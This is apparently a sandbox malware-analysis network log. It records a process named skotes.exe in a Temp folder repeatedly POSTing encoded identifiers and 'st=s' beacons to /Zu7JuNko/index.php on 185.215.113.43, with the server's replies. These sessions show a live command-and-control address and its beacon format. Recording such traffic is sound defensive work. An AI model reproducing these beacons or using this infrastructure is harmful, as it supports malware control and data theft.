Oct 31, 2024 01:20:54.995079041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50157	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:56.524113894 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:57.470890999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50158	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:59.143764019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:00.053420067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50159	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:01.581909895 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:02.529855967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	50161	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:04.154558897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:05.540565968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 31, 2024 01:21:05.541188002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 31, 2024 01:21:05.541898012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	50163	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:07.058223963 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:07.978769064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	50164	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:09.614368916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:10.515602112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	50165	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:12.051552057 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:12.963527918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	50166	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:14.588843107 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:15.485928059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	50167	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:17.008889914 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:17.910260916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	50177	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:19.540808916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:20.553463936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	50179	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:22.085884094 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:23.007993937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	50180	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:24.635735035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:25.578169107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	50182	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:27.091782093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:28.030370951 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	50183	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:29.686361074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:30.591650963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	50184	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:32.121193886 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:33.075934887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	50185	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:34.700702906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:35.610460997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	50186	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:37.140377045 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:38.050398111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	50187	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:39.691684961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:40.595860004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	50188	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:42.108540058 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:43.011347055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	50189	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:44.674417019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:45.573565960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	50190	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:47.101377964 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:48.034158945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	50199	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:49.688698053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:21:50.588133097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	50200	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:52.116255045 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:53.025588989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	50201	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:54.673913002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
